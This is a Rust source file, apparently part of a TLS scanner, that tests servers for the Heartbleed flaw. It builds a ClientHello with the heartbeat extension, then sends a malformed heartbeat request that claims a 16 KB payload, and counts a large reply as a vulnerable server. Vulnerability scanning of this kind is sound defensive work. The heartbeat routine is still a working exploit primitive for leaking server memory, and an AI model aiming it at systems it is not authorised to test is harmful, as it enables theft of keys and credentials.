use crate::Result;
use crate::constants::{CONTENT_TYPE_HEARTBEAT, HEARTBEAT_REQUEST, VERSION_TLS_1_2};
use crate::protocols::{Protocol, handshake::ClientHelloBuilder};
use crate::utils::network::Target;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::timeout;
pub struct HeartbleedTester<'a> {
target: &'a Target,
connect_timeout: Duration,
read_timeout: Duration,
}
impl<'a> HeartbleedTester<'a> {
pub fn new(target: &'a Target) -> Self {
Self {
target,
connect_timeout: Duration::from_secs(10),
read_timeout: Duration::from_secs(5),
}
}
pub async fn test(&self) -> Result<bool> {
for protocol in [Protocol::TLS10, Protocol::TLS11, Protocol::TLS12] {
if self.test_protocol(protocol).await? {
return Ok(true);
}
}
Ok(false)
}
async fn test_protocol(&self, protocol: Protocol) -> Result<bool> {
let addr = self.target.socket_addrs()[0];
let mut stream = match timeout(self.connect_timeout, TcpStream::connect(addr)).await {
Ok(Ok(s)) => s,
_ => return Ok(false),
};
let mut builder = ClientHelloBuilder::new(protocol);
builder.add_ciphers(&[0xc014, 0xc00a, 0x0039, 0x0038, 0x0035]);
let heartbeat_ext = vec![0x01]; builder.add_extension(crate::protocols::Extension::new(0x000f, heartbeat_ext));
let client_hello = builder.build_with_defaults(Some(&self.target.hostname))?;
let response = match timeout(self.read_timeout, async {
stream.write_all(&client_hello).await?;
let mut resp = vec![0u8; 16384];
let n = stream.read(&mut resp).await?;
resp.truncate(n);
Ok::<Vec<u8>, anyhow::Error>(resp)
})
.await
{
Ok(Ok(resp)) if !resp.is_empty() => resp,
_ => return Ok(false),
};
if !self.check_heartbeat_extension(&response) {
return Ok(false);
}
self.send_malicious_heartbeat(&mut stream).await
}
fn check_heartbeat_extension(&self, data: &[u8]) -> bool {
if data.len() < 2 {
return false;
}
for i in 0..data.len().saturating_sub(2) {
if data[i] == 0x00 && data[i + 1] == 0x0f {
return true;
}
}
false
}
async fn send_malicious_heartbeat(&self, stream: &mut TcpStream) -> Result<bool> {
let mut heartbeat = Vec::new();
heartbeat.push(CONTENT_TYPE_HEARTBEAT); heartbeat.push((VERSION_TLS_1_2 >> 8) as u8); heartbeat.push((VERSION_TLS_1_2 & 0xff) as u8);
heartbeat.push(0x00);
heartbeat.push(0x03);
heartbeat.push(HEARTBEAT_REQUEST); heartbeat.push(0x40); heartbeat.push(0x00);
match timeout(self.read_timeout, async {
stream.write_all(&heartbeat).await?;
let mut response = vec![0u8; 65535];
stream.read(&mut response).await
})
.await
{
Ok(Ok(n)) => {
Ok(n > 100)
}
_ => Ok(false),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
#[ignore] async fn test_heartbleed_modern_server() {
let target = Target::parse("www.google.com:443")
.await
.expect("test assertion should succeed");
let tester = HeartbleedTester::new(&target);
let vulnerable = tester.test().await.expect("test assertion should succeed");
assert!(!vulnerable);
}
#[test]
fn test_heartbeat_extension_check() {
let target = Target::with_ips(
"test.com".to_string(),
443,
vec!["127.0.0.1".parse().unwrap()],
)
.unwrap();
let tester = HeartbleedTester {
target: &target,
connect_timeout: Duration::from_secs(5),
read_timeout: Duration::from_secs(5),
};
let data_with_ext = vec![0x16, 0x03, 0x03, 0x00, 0x40, 0x00, 0x0f, 0x00, 0x01, 0x01];
assert!(tester.check_heartbeat_extension(&data_with_ext));
let data_without_ext = vec![0x16, 0x03, 0x03, 0x00, 0x40];
assert!(!tester.check_heartbeat_extension(&data_without_ext));
}
}